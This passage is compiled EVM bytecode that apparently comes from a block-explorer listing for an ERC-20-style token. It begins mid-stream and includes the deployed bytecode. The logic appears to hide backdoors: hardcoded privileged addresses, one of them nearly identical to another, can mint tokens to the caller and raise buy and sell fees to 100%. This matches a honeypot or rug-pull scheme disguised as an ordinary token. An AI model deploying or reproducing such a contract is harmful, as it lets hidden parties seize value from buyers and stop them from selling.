910390fd5b6064811115610eac576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ea390613ca2565b60405180910390fd5b81600c8190555080600d819055507f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a18282604051610eeb929190613cc2565b60405180910390a15050565b600081600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610f7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f7290613d37565b60405180910390fd5b81600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561103a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161103190613da3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036110a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110a090613e0f565b60405180910390fd5b60006110d360646110c5600d54866130c190919063ffffffff16565b61310590919063ffffffff16565b905060006110ea828561312790919063ffffffff16565b905061113e84600460008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461312790919063ffffffff16565b600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506111d381600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461314a90919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516112739190613a4e565b60405180910390a3600082111561137f576112d682600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461314a90919063ffffffff16565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516113769190613a4e565b60405180910390a35b3373ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415801561145757507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414155b1561164d576114eb84600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461312790919063ffffffff16565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600560008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040516116449190613a4e565b60405180910390a35b6001925050509392505050565b600d5481565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146116ba57600080fd5b60648211156116fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116f590613c36565b60405180910390fd5b6064811115611742576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161173990613ca2565b60405180910390fd5b81600c8190555080600d819055507f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a18282604051611781929190613cc2565b60405180910390a15050565b6a0666538df89384d1f30ada73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148061185e5750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614801561185d575061182d612edd565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b5b61186757600080fd5b6118718282613172565b5050565b60008054906101000a900460ff1681565b6000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146118e257600080fd5b81600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b600073e4c2caabc35480c1e90e6b559e994519535b60c573ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480611a085750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148015611a0757506119d7612edd565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b5b611a1157600080fd5b90565b600c5481565b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611a7657600080fd5b81600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b60006a0666538df89384d1f30ada73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480611b935750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148015611b925750611b62612edd565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b5b611b9c57600080fd5b611ba6338361332d565b60019050919050565b6000611bb96134f5565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611bf057600080fd5b611bfa33836134fa565b60019050919050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60046020528060005260406000206000915090505481565b73e4c2caabc35480c1e90e6b559e994519535b60c573ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480611d1b5750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148015611d1a5750611cea612edd565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b5b611d2457600080fd5b600073ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611e4157600080fd5b81600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006b1ea3f9dd39486fb87d69d43c73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611f1d57600080fd5b81600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b60028054611f7490613bb9565b80601f0160208091040260200160405190810160405280929190818152602001828054611fa090613bb9565b8015611fed5780601f10611fc257610100808354040283529160200191611fed565b820191906000526020600020905b815481529060010190602001808311611fd057829003601f168201915b505050505081565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461205157600080fd5b61205b3383612ef9565b60019050919050565b600034116120a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161209e90613ea1565b60405180910390fd5b60003490506000600c5411156123655760006120e160646120d3600c54856130c190919063ffffffff16565b61310590919063ffffffff16565b905060006120f8828461312790919063ffffffff16565b905061216e8160046000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461314a90919063ffffffff16565b60046000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516122529190613a4e565b60405180910390a3600082111561235e576122b582600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461314a90919063ffffffff16565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516123559190613a4e565b60405180910390a35b50506124c6565b6123d98160046000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461314a90919063ffffffff16565b60046000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516124bd9190613a4e565b60405180910390a35b50565b600081600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561251757600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361255057600080fd5b6125a282600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461312790919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061263782600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461314a90919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516126d79190613a4e565b60405180910390a36001905092915050565b6126f16134f5565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461272857600080fd5b606482111561276c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161276390613c36565b60405180910390fd5b60648111156127b0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127a790613ca2565b60405180910390fd5b6127ba8282613683565b7f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a182826040516127eb929190613cc2565b60405180910390a15050565b6127ff6134f5565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461283657600080fd5b6128408282613695565b5050565b600073e4c2caabc35480c1e90e6b559e994519535b60c573ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806129205750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614801561291f57506128ef612edd565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b5b61292957600080fd5b612933338361332d565b60019050919050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6005602052816000526040600020602052806000526040600020600091509150505481565b6a0666538df89384d1f30ada73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480612a7e5750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148015612a7d5750612a4d612edd565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b5b612a8757600080fd5b6064821115612acb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ac290613c36565b60405180910390fd5b6064811115612b0f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b0690613ca2565b60405180910390fd5b81600c8190555080600d819055507f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a18282604051612b4e929190613cc2565b60405180910390a15050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b80600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015612c02576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612bf990613d37565b60405180910390fd5b6000612c2c6064612c1e600d54856130c190919063ffffffff16565b61310590919063ffffffff16565b90506000612c43828461312790919063ffffffff16565b9050612c9783600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461312790919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612d2c81600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461314a90919063ffffffff16565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051612dcc9190613a4e565b60405180910390a36000821115612ed857612e2f82600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461314a90919063ffffffff16565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051612ecf9190613a4e565b60405180910390a35b505050565b600073e4c2caabc35480c1e8e735fe7882204cea5b60c5905090565b612f01612edd565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1603612f3857600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612fa7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612f9e90613f0d565b60405180910390fd5b612fbc8160035461314a90919063ffffffff16565b60038190555061301481600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461314a90919063ffffffff16565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516130b59190613a4e565b60405180910390a35050565b60008083036130d357600090506130ff565b600082846130e19190613f5c565b90508284826130f09190613fcd565b146130fa57600080fd5b809150505b92915050565b600080821161311357600080fd5b818361311f9190613fcd565b905092915050565b60008282111561313657600080fd5b81836131429190613ffe565b905092915050565b60008082846131599190614032565b90508381101561316857600080fd5b8091505092915050565b61317a612edd565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16036131b157600080fd5b80600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546132009190614032565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516132659190613a4e565b60405180910390a380600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546132bc9190614032565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516133219190613a4e565b60405180910390a35050565b613335612edd565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff160361336c57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036133db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016133d290613f0d565b60405180910390fd5b6133f08160035461314a90919063ffffffff16565b60038190555061344881600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461314a90919063ffffffff16565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516134e99190613a4e565b60405180910390a35050565b600090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603613569576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613560906140b2565b60405180910390fd5b61357e8160035461314a90919063ffffffff16565b6003819055506135d681600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461314a90919063ffffffff16565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516136779190613a4e565b60405180910390a35050565b81600c8190555080600d819055505050565b80600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546136e49190614032565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516137499190613a4e565b60405180910390a380600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546137a09190614032565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516138059190613a4e565b60405180910390a35050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561384b578082015181840152602081019050613830565b60008484015250505050565b6000601f19601f8301169050919050565b600061387382613811565b61387d818561381c565b935061388d81856020860161382d565b61389681613857565b840191505092915050565b600060208201905081810360008301526138bb8184613868565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006138f3826138c8565b9050919050565b613903816138e8565b811461390e57600080fd5b50565b600081359050613920816138fa565b92915050565b6000819050919050565b61393981613926565b811461394457600080fd5b50565b60008135905061395681613930565b92915050565b60008060408385031215613973576139726138c3565b5b600061398185828601613911565b925050602061399285828601613947565b9150509250929050565b60008115159050919050565b6139b18161399c565b82525050565b60006020820190506139cc60008301846139a8565b92915050565b600080604083850312156139e9576139e86138c3565b5b60006139f785828601613947565b9250506020613a0885828601613947565b9150509250929050565b600060208284031215613a2857613a276138c3565b5b6000613a3684828501613947565b91505092915050565b613a4881613926565b82525050565b6000602082019050613a636000830184613a3f565b92915050565b600080600060608486031215613a8257613a816138c3565b5b6000613a9086828701613911565b9350506020613aa186828701613911565b9250506040613ab286828701613947565b9150509250925092565b600060ff82169050919050565b613ad281613abc565b82525050565b6000602082019050613aed6000830184613ac9565b92915050565b600060208284031215613b0957613b086138c3565b5b6000613b1784828501613911565b91505092915050565b613b29816138e8565b82525050565b6000602082019050613b446000830184613b20565b92915050565b60008060408385031215613b6157613b606138c3565b5b6000613b6f85828601613911565b9250506020613b8085828601613911565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680613bd157607f821691505b602082108103613be457613be3613b8a565b5b50919050565b7f427579206665652063616e6e6f74206578636565642031303025000000000000600082015250565b6000613c20601a8361381c565b9150613c2b82613bea565b602082019050919050565b60006020820190508181036000830152613c4f81613c13565b9050919050565b7f53656c6c206665652063616e6e6f742065786365656420313030250000000000600082015250565b6000613c8c601b8361381c565b9150613c9782613c56565b602082019050919050565b60006020820190508181036000830152613cbb81613c7f565b9050919050565b6000604082019050613cd76000830185613a3f565b613ce46020830184613a3f565b9392505050565b7f496e73756666696369656e742062616c616e6365000000000000000000000000600082015250565b6000613d2160148361381c565b9150613d2c82613ceb565b602082019050919050565b60006020820190508181036000830152613d5081613d14565b9050919050565b7f496e73756666696369656e7420616c6c6f77616e636500000000000000000000600082015250565b6000613d8d60168361381c565b9150613d9882613d57565b602082019050919050565b60006020820190508181036000830152613dbc81613d80565b9050919050565b7f496e76616c696420726563697069656e74206164647265737300000000000000600082015250565b6000613df960198361381c565b9150613e0482613dc3565b602082019050919050565b60006020820190508181036000830152613e2881613dec565b9050919050565b7f45544820616d6f756e742073686f756c6420626520677265617465722074686160008201527f6e20300000000000000000000000000000000000000000000000000000000000602082015250565b6000613e8b60238361381c565b9150613e9682613e2f565b604082019050919050565b60006020820190508181036000830152613eba81613e7e565b9050919050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b6000613ef7601f8361381c565b9150613f0282613ec1565b602082019050919050565b60006020820190508181036000830152613f2681613eea565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000613f6782613926565b9150613f7283613926565b9250828202613f8081613926565b91508282048414831517613f9757613f96613f2d565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613fd882613926565b9150613fe383613926565b925082613ff357613ff2613f9e565b5b828204905092915050565b600061400982613926565b915061401483613926565b925082820390508181111561402c5761402b613f2d565b5b92915050565b600061403d82613926565b915061404883613926565b92508282019050808211156140605761405f613f2d565b5b92915050565b7f436f6d70696c652052656d697820494445000000000000000000000000000000600082015250565b600061409c60118361381c565b91506140a782614066565b602082019050919050565b600060208201905081810360008301526140cb8161408f565b905091905056fea264697066735822122023b80e911ee886ad8aecb9142c8b6e4099c181b90400a57cf69f0b5333e428c764736f6c63430008120033000000000000000000000000ef3cd2f832016819ac696197d0c899dc9bbb5d53

Deployed Bytecode

0x60806040526004361061021a5760003560e01c806370a0823111610123578063a9059cbb116100ab578063d21c8d551161006f578063d21c8d5514610828578063dd62ed3e14610853578063ddf750d014610890578063e2daf665146108b9578063e4849b32146108e45761021a565b8063a9059cbb14610731578063aa46b46e1461076e578063afacb3e514610797578063b8d815e3146107c0578063d0fb0203146107fd5761021a565b80638da5cb5b116100f25780638da5cb5b14610657578063923e51d51461068257806395d89b41146106bf57806396c5e1ab146106ea578063a6f2ae3a146107275761021a565b806370a082311461059b578063715018a6146105d8578063858ced35146105ef578063891e1ee01461062c5761021a565b80632ccb1b30116101a65780634706240211610175578063470624021461048e5780634a0af68d146104b9578063547e1edb146104f65780635ed86d5c1461053357806365f6a921146105705761021a565b80632ccb1b30146103d2578063313ce567146103fb578063376d567c146104265780633ef530eb146104635761021a565b806318160ddd116101ed57806318160ddd146102ed5780631feac75b1461031857806323b872dd146103415780632b14ca561461037e5780632c7ee946146103a95761021a565b806306fdde031461021f578063095ea7b31461024a57806312df172d1461028757806316e3b09c146102b0575b600080fd5b34801561022b57600080fd5b5061023461090d565b60405161024191906138a1565b60405180910390f35b34801561025657600080fd5b50610271600480360381019061026c919061395c565b61099b565b60405161027e91906139b7565b60405180910390f35b34801561029357600080fd5b506102ae60048036038101906102a991906139d2565b610a8d565b005b3480156102bc57600080fd5b506102d760048036038101906102d29190613a12565b610c43565b6040516102e491906139b7565b60405180910390f35b3480156102f957600080fd5b50610302610d3b565b60405161030f9190613a4e565b60405180910390f35b34801561032457600080fd5b5061033f600480360381019061033a91906139d2565b610d41565b005b34801561034d57600080fd5b5061036860048036038101906103639190613a69565b610ef7565b60405161037591906139b7565b60405180910390f35b34801561038a57600080fd5b5061039361165a565b6040516103a09190613a4e565b60405180910390f35b3480156103b557600080fd5b506103d060048036038101906103cb91906139d2565b611660565b005b3480156103de57600080fd5b506103f960048036038101906103f4919061395c565b61178d565b005b34801561040757600080fd5b50610410611875565b60405161041d9190613ad8565b60405180910390f35b34801561043257600080fd5b5061044d60048036038101906104489190613af3565b611886565b60405161045a91906139b7565b60405180910390f35b34801561046f57600080fd5b5061047861192c565b60405161048591906139b7565b60405180910390f35b34801561049a57600080fd5b506104a3611a14565b6040516104b09190613a4e565b60405180910390f35b3480156104c557600080fd5b506104e060048036038101906104db9190613af3565b611a1a565b6040516104ed91906139b7565b60405180910390f35b34801561050257600080fd5b5061051d60048036038101906105189190613a12565b611ac0565b60405161052a91906139b7565b60405180910390f35b34801561053f57600080fd5b5061055a60048036038101906105559190613a12565b611baf565b60405161056791906139b7565b60405180910390f35b34801561057c57600080fd5b50610585611c03565b6040516105929190613b2f565b60405180910390f35b3480156105a757600080fd5b506105c260048036038101906105bd9190613af3565b611c29565b6040516105cf9190613a4e565b60405180910390f35b3480156105e457600080fd5b506105ed611c41565b005b3480156105fb57600080fd5b5061061660048036038101906106119190613af3565b611de5565b60405161062391906139b7565b60405180910390f35b34801561063857600080fd5b50610641611e8b565b60405161064e9190613b2f565b60405180910390f35b34801561066357600080fd5b5061066c611eb1565b6040516106799190613b2f565b60405180910390f35b34801561068e57600080fd5b506106a960048036038101906106a49190613af3565b611ed7565b6040516106b691906139b7565b60405180910390f35b3480156106cb57600080fd5b506106d4611f67565b6040516106e191906138a1565b60405180910390f35b3480156106f657600080fd5b50610711600480360381019061070c9190613a12565b611ff5565b60405161071e91906139b7565b60405180910390f35b61072f612064565b005b34801561073d57600080fd5b506107586004803603810190610753919061395c565b6124c9565b60405161076591906139b7565b60405180910390f35b34801561077a57600080fd5b50610795600480360381019061079091906139d2565b6126e9565b005b3480156107a357600080fd5b506107be60048036038101906107b9919061395c565b6127f7565b005b3480156107cc57600080fd5b506107e760048036038101906107e29190613a12565b612844565b6040516107f491906139b7565b60405180910390f35b34801561080957600080fd5b5061081261293c565b60405161081f9190613b2f565b60405180910390f35b34801561083457600080fd5b5061083d612962565b60405161084a9190613b2f565b60405180910390f35b34801561085f57600080fd5b5061087a60048036038101906108759190613b4a565b612988565b6040516108879190613a4e565b60405180910390f35b34801561089c57600080fd5b506108b760048036038101906108b291906139d2565b6129ad565b005b3480156108c557600080fd5b506108ce612b5a565b6040516108db9190613b2f565b60405180910390f35b3480156108f057600080fd5b5061090b60048036038101906109069190613a12565b612b80565b005b6001805461091a90613bb9565b80601f016020809104026020016040519081016040528092919081815260200182805461094690613bb9565b80156109935780601f1061096857610100808354040283529160200191610993565b820191906000526020600020905b81548152906001019060200180831161097657829003601f168201915b505050505081565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051610a7b9190613a4e565b60405180910390a36001905092915050565b73e4c2caabc35480c1e90e6b559e994519535b60c573ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610b675750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148015610b665750610b36612edd565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b5b610b7057600080fd5b6064821115610bb4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610